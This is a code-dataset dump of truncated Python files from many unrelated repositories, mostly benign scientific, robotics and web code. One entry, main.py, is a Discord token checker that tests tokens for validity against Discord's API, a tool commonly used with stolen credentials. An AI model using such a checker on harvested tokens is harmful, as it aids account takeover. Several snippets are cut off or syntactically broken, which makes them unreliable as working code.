code stringlengths 2k 1.04M | repo_path stringlengths 5 517 | parsed_code stringlengths 0 1.04M | quality_prob float64 0.02 0.95 | learning_prob float64 0.02 0.93 |
|---|---|---|---|---|
import random, math
class TSCircularBuffer():
'''A circular buffer that stores items and associated relative log-likelihood of reads on them.
Allows picking random items based on these likelihoods. TSCircularBuffer gives O(1) amortized performance on inserts,
O(1) on indexed reads and O(logN) performance... | chirp/ts_circular_buffer.py |
import random, math
class TSCircularBuffer():
'''A circular buffer that stores items and associated relative log-likelihood of reads on them.
Allows picking random items based on these likelihoods. TSCircularBuffer gives O(1) amortized performance on inserts,
O(1) on indexed reads and O(logN) performance... | 0.808861 | 0.430506 |
import numpy as np
class GmshNodeMaps(object):
"""Mappings between the node ordering of PyFR and that of Gmsh
Node mappings are contained within two dictionaries; one maps from
Gmsh node ordering to PyFR, and the other provides the inverse.
Dictionary items are keyed by a tuple of element type (strin... | pyfr/readers/nodemaps.py | import numpy as np
class GmshNodeMaps(object):
"""Mappings between the node ordering of PyFR and that of Gmsh
Node mappings are contained within two dictionaries; one maps from
Gmsh node ordering to PyFR, and the other provides the inverse.
Dictionary items are keyed by a tuple of element type (strin... | 0.756852 | 0.595992 |
from argparse import ArgumentParser
import unicodecsv as csv
import os
import StringIO
from utility.pytskutil import TSKUtil
import olefile
REPORT_COLS = ['note_id', 'created', 'modified', 'note_text', 'note_file']
def main(evidence, image_type, report_folder):
tsk_util = TSKUtil(evidence, image_type)
note_... | Chapter09/sticky_notes.py | from argparse import ArgumentParser
import unicodecsv as csv
import os
import StringIO
from utility.pytskutil import TSKUtil
import olefile
REPORT_COLS = ['note_id', 'created', 'modified', 'note_text', 'note_file']
def main(evidence, image_type, report_folder):
tsk_util = TSKUtil(evidence, image_type)
note_... | 0.339718 | 0.145479 |
import sys
import subprocess
import logging
import os
import FBEM.write_input as write
# Default location of the executable file
if os.name == 'posix': # Linux
exe_path = os.path.dirname(__file__) + '/exe/3D_Stokes_Flow_FMM_linux.exe'
else: # Windows
exe_path = os.path.dirname(__file__) + '/exe/3D_Stokes_Fl... | FBEM/run.py | import sys
import subprocess
import logging
import os
import FBEM.write_input as write
# Default location of the executable file
if os.name == 'posix': # Linux
exe_path = os.path.dirname(__file__) + '/exe/3D_Stokes_Flow_FMM_linux.exe'
else: # Windows
exe_path = os.path.dirname(__file__) + '/exe/3D_Stokes_Fl... | 0.33546 | 0.155463 |
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
from re import match
class IIMAgent(object):
def __init__(self, module):
self._name = os.path.basename(__file__)
self.module = module
self.iim_path = self.module.params['iim_path']
... | plugins/module_utils/iim.py | from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
from re import match
class IIMAgent(object):
def __init__(self, module):
self._name = os.path.basename(__file__)
self.module = module
self.iim_path = self.module.params['iim_path']
... | 0.624637 | 0.101411 |
import numpy as np
import scipy.stats
from sedbot.photconv import sb_to_mass
class RandomVariable(object):
"""Base class for random variables that encapsulate a `scipy.stats`
random variable.
All superclasses must provide
- self._rv - the `scipy.stats` random variable instance
- self._limits - ... | sedbot/probf.py | import numpy as np
import scipy.stats
from sedbot.photconv import sb_to_mass
class RandomVariable(object):
"""Base class for random variables that encapsulate a `scipy.stats`
random variable.
All superclasses must provide
- self._rv - the `scipy.stats` random variable instance
- self._limits - ... | 0.935869 | 0.649301 |
import random
import torch
import torch.nn as nn
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
N=1000
mean1=[0,0,0]
cov1=[[1,0.8,0.8],[0.8,1,0.8],[0.8,0.8,1]]
dataset = np.random.multivariate_normal(mean1, cov1, N)
dataset = (dataset-np.amin(dataset))/(np.amax(dataset)-np.amin(dataset))
indi... | autoencoder/Q1_Autoencoder.py | import random
import torch
import torch.nn as nn
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
N=1000
mean1=[0,0,0]
cov1=[[1,0.8,0.8],[0.8,1,0.8],[0.8,0.8,1]]
dataset = np.random.multivariate_normal(mean1, cov1, N)
dataset = (dataset-np.amin(dataset))/(np.amax(dataset)-np.amin(dataset))
indi... | 0.389663 | 0.400339 |
from prl_hpp.tools.utils import wd
from CORBA import Any, TC_long, TC_float
class InStatePlanner:
# Default path planner
parameters = {'kPRM*/numberOfNodes': Any(TC_long,2000)}
def __init__(self, ps):
self.ps = ps
self.plannerType = "BiRRT*"
self.optimizerTypes = []
self.ma... | prl_hpp/src/prl_hpp/tools/instate_planner.py | from prl_hpp.tools.utils import wd
from CORBA import Any, TC_long, TC_float
class InStatePlanner:
# Default path planner
parameters = {'kPRM*/numberOfNodes': Any(TC_long,2000)}
def __init__(self, ps):
self.ps = ps
self.plannerType = "BiRRT*"
self.optimizerTypes = []
self.ma... | 0.745769 | 0.232746 |
import unittest
from flytekitplugins.awssagemaker.models import training_job
def test_training_job_resource_config():
rc = training_job.TrainingJobResourceConfig(
instance_count=1,
instance_type="random.instance",
volume_size_in_gb=25,
distributed_protocol=training_job.Distributed... | plugins/flytekit-aws-sagemaker/tests/test_training_job.py | import unittest
from flytekitplugins.awssagemaker.models import training_job
def test_training_job_resource_config():
rc = training_job.TrainingJobResourceConfig(
instance_count=1,
instance_type="random.instance",
volume_size_in_gb=25,
distributed_protocol=training_job.Distributed... | 0.527317 | 0.559471 |
from __future__ import absolute_import
from KeccakF import KeccakF
# #Q_ tmp
import threading
class AuthenticationFailed(Exception):
"""Thrown when a MAC fails."""
pass
I,A,C,T,M,K = 1<<0, 1<<1, 1<<2, 1<<3, 1<<4, 1<<5
class Strobe(object):
def __init__(self, proto, F = KeccakF(1600), security = 128, ... | PyDisco/Disco/Strobe.py | from __future__ import absolute_import
from KeccakF import KeccakF
# #Q_ tmp
import threading
class AuthenticationFailed(Exception):
"""Thrown when a MAC fails."""
pass
I,A,C,T,M,K = 1<<0, 1<<1, 1<<2, 1<<3, 1<<4, 1<<5
class Strobe(object):
def __init__(self, proto, F = KeccakF(1600), security = 128, ... | 0.62681 | 0.305393 |
import time
from spherov2 import scanner
from spherov2.sphero_edu import SpheroEduAPI
from spherov2.types import Color
print("Testing Starting...")
print("Connecting to Bolt...")
toy = scanner.find_BOLT()
if toy is not None:
print("Connected.")
with SpheroEduAPI(toy) as droid:
print("Testing Start..."... | spherov2/test/BoltTest.py | import time
from spherov2 import scanner
from spherov2.sphero_edu import SpheroEduAPI
from spherov2.types import Color
print("Testing Starting...")
print("Connecting to Bolt...")
toy = scanner.find_BOLT()
if toy is not None:
print("Connected.")
with SpheroEduAPI(toy) as droid:
print("Testing Start..."... | 0.352536 | 0.157914 |
import torch.nn as nn
from torch.autograd import Variable
import elf.logging as logging
from elf.options import auto_import_options, PyOptionSpec
from rlpytorch.trainer.timer import RLTimer
_logger_factory = logging.IndexedLoggerFactory(
lambda name: logging.stderr_color_mt(name))
class MCTSPrediction(object)... | src_py/elfgames/go/mcts_prediction.py |
import torch.nn as nn
from torch.autograd import Variable
import elf.logging as logging
from elf.options import auto_import_options, PyOptionSpec
from rlpytorch.trainer.timer import RLTimer
_logger_factory = logging.IndexedLoggerFactory(
lambda name: logging.stderr_color_mt(name))
class MCTSPrediction(object)... | 0.842669 | 0.220846 |
import argparse
import os
import shutil
import toml
import re
import numpy as np
from glob import glob
from tkinter import Tk, filedialog
import bootstrapped.bootstrap as bs
import bootstrapped.stats_functions as bs_stats
import multiprocess as mp
import warnings
from types import SimpleNamespace
config = None
class... | fRAT/utils/utils.py | import argparse
import os
import shutil
import toml
import re
import numpy as np
from glob import glob
from tkinter import Tk, filedialog
import bootstrapped.bootstrap as bs
import bootstrapped.stats_functions as bs_stats
import multiprocess as mp
import warnings
from types import SimpleNamespace
config = None
class... | 0.543833 | 0.146759 |
__id__ = "$Id: Power.py 234 2008-01-03 15:09:32Z jlconlin $"
__author__ = "$Author: jlconlin $"
__version__ = " $Revision: 234 $"
__date__ = "$Date: 2008-01-03 08:09:32 -0700 (Thu, 03 Jan 2008) $"
import time
import math
import scipy
from Transport.Geometry import Field
from Transport.FissionSource import... | Code/branches/Pre-Prospectus/cpp/Markov/Power.py | __id__ = "$Id: Power.py 234 2008-01-03 15:09:32Z jlconlin $"
__author__ = "$Author: jlconlin $"
__version__ = " $Revision: 234 $"
__date__ = "$Date: 2008-01-03 08:09:32 -0700 (Thu, 03 Jan 2008) $"
import time
import math
import scipy
from Transport.Geometry import Field
from Transport.FissionSource import... | 0.726231 | 0.216487 |
import copy
import numpy as np
import scipy.stats as stats
import warnings
from eugene.src.auxiliary.probability import EnergyDistance, nd_gaussian_pdf
def _choose_untrans_trans_1D(
data_in,
num_reps,
alpha=0.5,
beta=0.2,
mu_spec=None, # user-specified means for untrans, tra... | eugene/src/data_prep/initial_conditions.py | import copy
import numpy as np
import scipy.stats as stats
import warnings
from eugene.src.auxiliary.probability import EnergyDistance, nd_gaussian_pdf
def _choose_untrans_trans_1D(
data_in,
num_reps,
alpha=0.5,
beta=0.2,
mu_spec=None, # user-specified means for untrans, tra... | 0.50952 | 0.466603 |
from typing import Tuple, Dict, Callable, Iterator, Union, Optional, List
import numpy as np
import torch
from torch import Tensor
import botorch
import gpytorch
delta_n = lambda n: ((1 / 6) * n) ** (1 / 2) * (
1 / 3 * (1 + 2 * (1 - 3 / (5 * n)) ** (1 / 2))
) ** (1 / 2)
delta_n_lower_bound = lambda n: 1 / 3 * n ... | src/synthetic_functions.py | from typing import Tuple, Dict, Callable, Iterator, Union, Optional, List
import numpy as np
import torch
from torch import Tensor
import botorch
import gpytorch
delta_n = lambda n: ((1 / 6) * n) ** (1 / 2) * (
1 / 3 * (1 + 2 * (1 - 3 / (5 * n)) ** (1 / 2))
) ** (1 / 2)
delta_n_lower_bound = lambda n: 1 / 3 * n ... | 0.975912 | 0.667558 |
import torch
import torch.nn as nn
class BaseModel(nn.Module):
def __init__(self, model_name="BaseModel", penalty_weight=0.0):
super().__init__()
self.model_loss = None
self.model_metric = None
self.model_negative_sampler = None
self.model_name = model_name
self.pen... | cogkge/models/basemodel.py | import torch
import torch.nn as nn
class BaseModel(nn.Module):
def __init__(self, model_name="BaseModel", penalty_weight=0.0):
super().__init__()
self.model_loss = None
self.model_metric = None
self.model_negative_sampler = None
self.model_name = model_name
self.pen... | 0.758779 | 0.177579 |
from openerp import models, fields
from openerp import tools
class report_event_registration(models.Model):
"""Events Analysis"""
_name = "report.event.registration"
_order = 'event_date desc'
_auto = False
event_date = fields.Datetime('Event Date', readonly=True)
event_id = fields.Many2one(... | web/addons/event/report/report_event_registration.py |
from openerp import models, fields
from openerp import tools
class report_event_registration(models.Model):
"""Events Analysis"""
_name = "report.event.registration"
_order = 'event_date desc'
_auto = False
event_date = fields.Datetime('Event Date', readonly=True)
event_id = fields.Many2one(... | 0.469034 | 0.173148 |
from requests import get, post
from random import randint
alaala = 0
alaala2 = 0
alaala3 = 0
logo = """
[SYSTEM] Discord Token Checker by Screaze
"""
def checker1(token):
response = get('https://discord.com/api/v6/auth/login', headers={"Authorization": token})
return True if response.status_code == 200 else Fal... | main.py | from requests import get, post
from random import randint
alaala = 0
alaala2 = 0
alaala3 = 0
logo = """
[SYSTEM] Discord Token Checker by Screaze
"""
def checker1(token):
response = get('https://discord.com/api/v6/auth/login', headers={"Authorization": token})
return True if response.status_code == 200 else Fal... | 0.35488 | 0.123709 |
import unittest
import subprocess
import os
import sys
import re
_container_image=None
class TestGPUSupport(unittest.TestCase):
"""
These tests verify that the GPU resources and configurations (device files,
libraries and value of LD_LIBRARY_PATH) are correctly set inside the container.
"""
_GPU... | extra/CI/integration/test_gpu_support.py | import unittest
import subprocess
import os
import sys
import re
_container_image=None
class TestGPUSupport(unittest.TestCase):
"""
These tests verify that the GPU resources and configurations (device files,
libraries and value of LD_LIBRARY_PATH) are correctly set inside the container.
"""
_GPU... | 0.363308 | 0.110952 |
import pprint
import re # noqa: F401
import six
from talon_one.configuration import Configuration
class UpdateAccount(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_... | talon_one/models/update_account.py | import pprint
import re # noqa: F401
import six
from talon_one.configuration import Configuration
class UpdateAccount(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_... | 0.753376 | 0.095729 |
from spack import *
class Lbann(CMakePackage):
"""LBANN: Livermore Big Artificial Neural Network Toolkit. A distributed
memory, HPC-optimized, model and data parallel training toolkit for deep
neural networks."""
homepage = "http://software.llnl.gov/lbann/"
url = "https://github.com/LLNL/lb... | internal/notes/builtin-SAVE/packages/lbann/package.py | from spack import *
class Lbann(CMakePackage):
"""LBANN: Livermore Big Artificial Neural Network Toolkit. A distributed
memory, HPC-optimized, model and data parallel training toolkit for deep
neural networks."""
homepage = "http://software.llnl.gov/lbann/"
url = "https://github.com/LLNL/lb... | 0.785309 | 0.231234 |
from flask import Flask, Blueprint
from flask.blueprints import BlueprintSetupState as BaseSetupState
from flask.helpers import _endpoint_from_view_func
from flask_unchained import AppFactoryHook, Bundle
from typing import List
from ..utils import get_babel_bundle
# FIXME test template resolution order when this is ... | flask_controller_bundle/hooks/register_bundle_template_folders.py | from flask import Flask, Blueprint
from flask.blueprints import BlueprintSetupState as BaseSetupState
from flask.helpers import _endpoint_from_view_func
from flask_unchained import AppFactoryHook, Bundle
from typing import List
from ..utils import get_babel_bundle
# FIXME test template resolution order when this is ... | 0.656548 | 0.140395 |
__author__ = "<NAME> <<EMAIL>>"
# External Includes
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
class Slicer(nn.Module):
"""Turn long continuous signals into discrete examples with a fixed width.
This can be thought of as batching up discrete examples to perform cl... | rfml/ptradio/slicer.py | __author__ = "<NAME> <<EMAIL>>"
# External Includes
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
class Slicer(nn.Module):
"""Turn long continuous signals into discrete examples with a fixed width.
This can be thought of as batching up discrete examples to perform cl... | 0.951673 | 0.68818 |
import numpy as np
import cv2
import copy
class RectangleDetector:
def __init__(self):
self.process = list()
self.roi = list()
# HSV Range 관련 변수 (H:색상, S:채도, V:명도)
self.lower = {'blue': np.array([85, 100, 100]),
'yellow': np.array([0, 50, 70]),
... | src/temp/rectangle_detector.py | import numpy as np
import cv2
import copy
class RectangleDetector:
def __init__(self):
self.process = list()
self.roi = list()
# HSV Range 관련 변수 (H:색상, S:채도, V:명도)
self.lower = {'blue': np.array([85, 100, 100]),
'yellow': np.array([0, 50, 70]),
... | 0.423816 | 0.318618 |
import pymunk as p
from pymunk.vec2d import Vec2d
import unittest
import pickle
class UnitTestBB(unittest.TestCase):
def setUp(self):
#print "testing pymunk version " + p.version
pass
def testCreation(self):
bb_empty = p.BB()
self.assertEqual(bb_empty.left, 0)
self.ass... | pymunk/tests/test_bb.py | import pymunk as p
from pymunk.vec2d import Vec2d
import unittest
import pickle
class UnitTestBB(unittest.TestCase):
def setUp(self):
#print "testing pymunk version " + p.version
pass
def testCreation(self):
bb_empty = p.BB()
self.assertEqual(bb_empty.left, 0)
self.ass... | 0.283285 | 0.712976 |
# pylint: disable=line-too-long
# pylint: disable=too-many-statements
# pylint: disable=too-many-locals
from azure.cli.core.commands.parameters import (get_three_state_flag,
get_enum_type,
resource_group_name_type)
from az... | src/azure-cli/azure/cli/command_modules/security/_params.py |
# pylint: disable=line-too-long
# pylint: disable=too-many-statements
# pylint: disable=too-many-locals
from azure.cli.core.commands.parameters import (get_three_state_flag,
get_enum_type,
resource_group_name_type)
from az... | 0.458349 | 0.1679 |
import numpy as np
from datetime import datetime
import deap.base
### sys relative to root dir
import sys
from os.path import dirname, realpath
sys.path.append(dirname(dirname(realpath(__file__))))
### absolute imports wrt root
from codes.utilities.custom_logging import ezLogging
class IndividualMaterial():
''... | codes/genetic_material.py | import numpy as np
from datetime import datetime
import deap.base
### sys relative to root dir
import sys
from os.path import dirname, realpath
sys.path.append(dirname(dirname(realpath(__file__))))
### absolute imports wrt root
from codes.utilities.custom_logging import ezLogging
class IndividualMaterial():
''... | 0.335895 | 0.226666 |
import json
from alipay.aop.api.constant.ParamConstants import *
from alipay.aop.api.domain.MerchantActivityGoodsStockIncrease import MerchantActivityGoodsStockIncrease
class AlipayCommerceOperationBrandsolutionGoodsstockAddModel(object):
def __init__(self):
self._activity_id = None
self._mercha... | alipay/aop/api/domain/AlipayCommerceOperationBrandsolutionGoodsstockAddModel.py | import json
from alipay.aop.api.constant.ParamConstants import *
from alipay.aop.api.domain.MerchantActivityGoodsStockIncrease import MerchantActivityGoodsStockIncrease
class AlipayCommerceOperationBrandsolutionGoodsstockAddModel(object):
def __init__(self):
self._activity_id = None
self._mercha... | 0.352759 | 0.049245 |
from som.interpreter.ast.nodes.expression_node import ExpressionNode
class AbstractSuperMessageNode(ExpressionNode):
_immutable_fields_ = ["_method?", "_super_class", "_selector", "_rcvr_expr?"]
_child_nodes_ = ["_rcvr_expr"]
def __init__(self, selector, rcvr_expr, super_class, source_section=None):
... | src/som/interpreter/ast/nodes/message/super_node.py | from som.interpreter.ast.nodes.expression_node import ExpressionNode
class AbstractSuperMessageNode(ExpressionNode):
_immutable_fields_ = ["_method?", "_super_class", "_selector", "_rcvr_expr?"]
_child_nodes_ = ["_rcvr_expr"]
def __init__(self, selector, rcvr_expr, super_class, source_section=None):
... | 0.608012 | 0.287496 |
# examples/python/reconstruction_system/initialize_config.py
import os
import sys
sys.path.append("../utility")
from file import check_folder_structure, extract_rgbd_frames
def set_default_value(config, key, value):
if key not in config:
config[key] = value
def initialize_config(config):
# set de... | examples/python/reconstruction_system/initialize_config.py |
# examples/python/reconstruction_system/initialize_config.py
import os
import sys
sys.path.append("../utility")
from file import check_folder_structure, extract_rgbd_frames
def set_default_value(config, key, value):
if key not in config:
config[key] = value
def initialize_config(config):
# set de... | 0.487307 | 0.1414 |
from typing import TYPE_CHECKING, List, Optional, Sequence
if TYPE_CHECKING:
from projectreport.analyzer.project import Project
from projectreport.analyzer.parsers.base import Parser
import os
from cached_property import cached_property
from projectreport.analyzer.analysis import FolderAnalysis
from project... | projectreport/analyzer/folder.py | from typing import TYPE_CHECKING, List, Optional, Sequence
if TYPE_CHECKING:
from projectreport.analyzer.project import Project
from projectreport.analyzer.parsers.base import Parser
import os
from cached_property import cached_property
from projectreport.analyzer.analysis import FolderAnalysis
from project... | 0.785144 | 0.142679 |
from datetime import datetime
from scipy.stats import expon
from scipy.stats import rv_discrete
from scipy.stats import norm
from scipy.stats import uniform
import pandas as pd
import numpy as np
import os
def generate_ages(population, max_age=110):
"""Generate a population whose ages approximate UK population sh... | analysis/cohortextractor2/expectation_generators.py | from datetime import datetime
from scipy.stats import expon
from scipy.stats import rv_discrete
from scipy.stats import norm
from scipy.stats import uniform
import pandas as pd
import numpy as np
import os
def generate_ages(population, max_age=110):
"""Generate a population whose ages approximate UK population sh... | 0.866853 | 0.540803 |
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_databas... | yandex/cloud/mdb/mongodb/v1/backup_pb2.py | """Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_databas... | 0.360151 | 0.080321 |
from datetime import datetime
from glob import glob
import os
from osgeo import gdalconst
import unittest
from shutil import copytree
from .template import TestGridTemplate
from gsshapy.grid import GRIDtoGSSHA
import pytest
class TestLSMtoGSSHA(TestGridTemplate):
def setUp(self):
# define global variable... | tests/test_wrf.py | from datetime import datetime
from glob import glob
import os
from osgeo import gdalconst
import unittest
from shutil import copytree
from .template import TestGridTemplate
from gsshapy.grid import GRIDtoGSSHA
import pytest
class TestLSMtoGSSHA(TestGridTemplate):
def setUp(self):
# define global variable... | 0.413951 | 0.219609 |
import pytest
from tests.conftest import create_temp_yaml_file, requireseyaml, old_eyaml_keys
class Test_yaml_set():
"""Tests for the yaml-set command-line interface."""
command = "yaml-set"
def test_no_options(self, script_runner):
result = script_runner.run(self.command)
assert not res... | tests/test_commands_yaml_set.py | import pytest
from tests.conftest import create_temp_yaml_file, requireseyaml, old_eyaml_keys
class Test_yaml_set():
"""Tests for the yaml-set command-line interface."""
command = "yaml-set"
def test_no_options(self, script_runner):
result = script_runner.run(self.command)
assert not res... | 0.498779 | 0.395981 |
import datetime
from sci_api_req import config
from ..api_provider import ApiProvider
class DONKIProvider(ApiProvider):
"""
The Space Weather Database Of Notifications, Knowledge, Information (DONKI) is
a comprehensive on-line tool for space weather forecasters, scientists, and the
general space scie... | sci_api_req/providers/NASA/donki_provider.py | import datetime
from sci_api_req import config
from ..api_provider import ApiProvider
class DONKIProvider(ApiProvider):
"""
The Space Weather Database Of Notifications, Knowledge, Information (DONKI) is
a comprehensive on-line tool for space weather forecasters, scientists, and the
general space scie... | 0.597608 | 0.310747 |
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# Removing the first line: it contains extraneous text instead of the column titles. This
# text prevents the data set from being parsed properly by the pandas library:
my_dataset = pd.read_csv(‘data/my_dataset.csv’, skiprows=1,
low_memory=False)
... | notebook.py | import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# Removing the first line: it contains extraneous text instead of the column titles. This
# text prevents the data set from being parsed properly by the pandas library:
my_dataset = pd.read_csv(‘data/my_dataset.csv’, skiprows=1,
low_memory=False)
... | 0.655336 | 0.548432 |
import unittest
from weather_collector.caller import WeatherObjects
from tests.helpers import (
get_path_to_types,
get_example_response,
)
__author__ = "<NAME>"
__copyright__ = "Matt Ellis"
__license__ = "mit"
class TestWeatherObject(unittest.TestCase):
"""Test weather object caller"""
@classmethod... | tests/test_weatherobject.py | import unittest
from weather_collector.caller import WeatherObjects
from tests.helpers import (
get_path_to_types,
get_example_response,
)
__author__ = "<NAME>"
__copyright__ = "Matt Ellis"
__license__ = "mit"
class TestWeatherObject(unittest.TestCase):
"""Test weather object caller"""
@classmethod... | 0.759582 | 0.483831 |
import numpy as np
import math
# Global variables
np.random.seed(7)
n_samples = 2500
n_features = 400
mean = np.zeros((n_features))
gamma = 193
cov = np.identity(n_features) * gamma
# Generate random numbers
w = np.transpose(np.random.multivariate_normal(mean,cov, n_samples))
b = np.random.uniform(0, 2 *... | optimization/mapreduce_adam_rbf.py |
import numpy as np
import math
# Global variables
np.random.seed(7)
n_samples = 2500
n_features = 400
mean = np.zeros((n_features))
gamma = 193
cov = np.identity(n_features) * gamma
# Generate random numbers
w = np.transpose(np.random.multivariate_normal(mean,cov, n_samples))
b = np.random.uniform(0, 2 *... | 0.560253 | 0.468365 |
import cv2
import numpy as np
from tqdm import tqdm
import flops_counter
class Eval(object):
def __init__(self, dataset, model, ms=False, max_downsample=1):
super(Eval, self).__init__()
self.dataset = dataset
self.model = model
self.ms = ms # flag for multi-scale testing or not
... | eval_core/base.py | import cv2
import numpy as np
from tqdm import tqdm
import flops_counter
class Eval(object):
def __init__(self, dataset, model, ms=False, max_downsample=1):
super(Eval, self).__init__()
self.dataset = dataset
self.model = model
self.ms = ms # flag for multi-scale testing or not
... | 0.434941 | 0.104843 |
import datetime
from textwrap import dedent
from typing import Any, Dict, Optional
from .constants import PASTE_BASE
class Paste:
"""
A class representing the return data from the API after performing a POST request.
Attributes
----------
paste_id: :class:`str`
The ID returned from the A... | mystbin/objects.py | import datetime
from textwrap import dedent
from typing import Any, Dict, Optional
from .constants import PASTE_BASE
class Paste:
"""
A class representing the return data from the API after performing a POST request.
Attributes
----------
paste_id: :class:`str`
The ID returned from the A... | 0.904778 | 0.320316 |
import logging
from camps.mixins import CampViewMixin
from django.contrib import messages
from django.contrib.auth.mixins import LoginRequiredMixin
from django.shortcuts import redirect
from django.views.generic import DetailView, UpdateView
from profiles.models import Profile
from ..email import add_added_membership... | src/teams/views/members.py | import logging
from camps.mixins import CampViewMixin
from django.contrib import messages
from django.contrib.auth.mixins import LoginRequiredMixin
from django.shortcuts import redirect
from django.views.generic import DetailView, UpdateView
from profiles.models import Profile
from ..email import add_added_membership... | 0.431105 | 0.070017 |
import argparse
import utm
import csv
import geojson
import json
def getPoint(row):
x = float(row['Gis_X'].replace(',', '.'))
y = float(row['Gis_Y'].replace(',', '.'))
latlon = utm.to_latlon(x, y, 30, northern=True)
point = geojson.Point(latlon[::-1], precision=8)
return point
def getZona(row):
... | src/csv2json.py |
import argparse
import utm
import csv
import geojson
import json
def getPoint(row):
x = float(row['Gis_X'].replace(',', '.'))
y = float(row['Gis_Y'].replace(',', '.'))
latlon = utm.to_latlon(x, y, 30, northern=True)
point = geojson.Point(latlon[::-1], precision=8)
return point
def getZona(row):
... | 0.370453 | 0.303951 |
import sys
from steem.account import SteemAccount
from steem.comment import SteemComment
from action.vote.recipe import VoteRecipe
from utils.logging.logger import logger
# app specific parameter
SEARCH_BY_TOKEN = "MAR<PASSWORD>" # "UFM"
TRIBE_TAG = "hive-180932" # "cn"
APP = "steemcn"
BENEFICIARY_ACCOUNT = "steem-d... | recipe/vote/steemcn.py |
import sys
from steem.account import SteemAccount
from steem.comment import SteemComment
from action.vote.recipe import VoteRecipe
from utils.logging.logger import logger
# app specific parameter
SEARCH_BY_TOKEN = "MAR<PASSWORD>" # "UFM"
TRIBE_TAG = "hive-180932" # "cn"
APP = "steemcn"
BENEFICIARY_ACCOUNT = "steem-d... | 0.273866 | 0.102439 |
"""Do a comparison with what's on api.weather.gov/cap"""
from __future__ import print_function
import datetime
import simplejson
import requests
import pandas as pd
from pandas.io.sql import read_sql
from pyiem.nws.vtec import parse as vtec_parse
from pyiem.util import get_dbconn, ssw
CAP = "https://api.weather.gov/a... | cgi-bin/compare_cap.py | """Do a comparison with what's on api.weather.gov/cap"""
from __future__ import print_function
import datetime
import simplejson
import requests
import pandas as pd
from pandas.io.sql import read_sql
from pyiem.nws.vtec import parse as vtec_parse
from pyiem.util import get_dbconn, ssw
CAP = "https://api.weather.gov/a... | 0.477798 | 0.208824 |
from django.db import models
from django.contrib.auth.models import User
from django.urls import reverse # generate urls by reversing url patterns
import uuid
class Teacher(models.Model):
""" Model representing the teacher of the lesson and the user of the app """
teacherID = models.UUIDField(primary_key=True, def... | lessonplanner/models.py | from django.db import models
from django.contrib.auth.models import User
from django.urls import reverse # generate urls by reversing url patterns
import uuid
class Teacher(models.Model):
""" Model representing the teacher of the lesson and the user of the app """
teacherID = models.UUIDField(primary_key=True, def... | 0.62395 | 0.24015 |
import os
from pants.backend.jvm.tasks.nailgun_task import NailgunTask
from pants.base.build_environment import get_buildroot
from pants.java import util
from pants.net.http.fetcher import Fetcher
from pants.testutil.jvm.nailgun_task_test_base import NailgunTaskTestBase
from pants.util.contextutil import temporary_fi... | tests/python/pants_test/java/test_runjava_synthetic_classpath.py |
import os
from pants.backend.jvm.tasks.nailgun_task import NailgunTask
from pants.base.build_environment import get_buildroot
from pants.java import util
from pants.net.http.fetcher import Fetcher
from pants.testutil.jvm.nailgun_task_test_base import NailgunTaskTestBase
from pants.util.contextutil import temporary_fi... | 0.46563 | 0.142829 |
# @author: x.huang
# @date:17-8-2
import os
from urllib import parse
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
from libs import load_config
env_ini = load_config.get_config_by_name('env')
db_ini = load_config.get_config_by_name('db')
session_conf = db_ini['session']
db_conf = db_ini['d... | python-framework/setting/base.py |
# @author: x.huang
# @date:17-8-2
import os
from urllib import parse
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
from libs import load_config
env_ini = load_config.get_config_by_name('env')
db_ini = load_config.get_config_by_name('db')
session_conf = db_ini['session']
db_conf = db_ini['d... | 0.204342 | 0.065038 |
from pymongo import MongoClient
from bson.objectid import ObjectId
from pymongo.collation import Collation, CollationStrength
import logging
#internal
import config as conf
# Load Logging definition
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('tornado-info')
class ManageDB():
def __init__(... | mongoManager.py | from pymongo import MongoClient
from bson.objectid import ObjectId
from pymongo.collation import Collation, CollationStrength
import logging
#internal
import config as conf
# Load Logging definition
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('tornado-info')
class ManageDB():
def __init__(... | 0.531939 | 0.149097 |
import os
import sys
import unittest
import maya.standalone
from maya import OpenMaya, cmds
_HERE = os.path.abspath(os.path.dirname(__file__))
sys.path.insert(0, os.path.abspath(os.path.join(_HERE, *((os.pardir,) * 2))))
import bana
import tests._util
bana.initialize()
maya.standalone.initialize()
class MObject... | tests/OpenMaya/test_MObject.py |
import os
import sys
import unittest
import maya.standalone
from maya import OpenMaya, cmds
_HERE = os.path.abspath(os.path.dirname(__file__))
sys.path.insert(0, os.path.abspath(os.path.join(_HERE, *((os.pardir,) * 2))))
import bana
import tests._util
bana.initialize()
maya.standalone.initialize()
class MObject... | 0.394318 | 0.402392 |
import argparse
def parse_opt():
parser = argparse.ArgumentParser()
# Overall settings
parser.add_argument('--module', type=str, default='TEM')
parser.add_argument('--mode', type=str, default='train')
parser.add_argument('--checkpoint_path', type=str, default='./checkpoint')
# Overall Dataset... | core/utils/opts.py | import argparse
def parse_opt():
parser = argparse.ArgumentParser()
# Overall settings
parser.add_argument('--module', type=str, default='TEM')
parser.add_argument('--mode', type=str, default='train')
parser.add_argument('--checkpoint_path', type=str, default='./checkpoint')
# Overall Dataset... | 0.489015 | 0.044307 |
import config
import winUser
from NVDAObjects.IAccessible import IAccessible
import controlTypes
import oleacc
import textInfos
import appModuleHandler
import speech
import cursorManager
lastMSNHistoryValue=None
possibleHistoryWindowNames=frozenset([
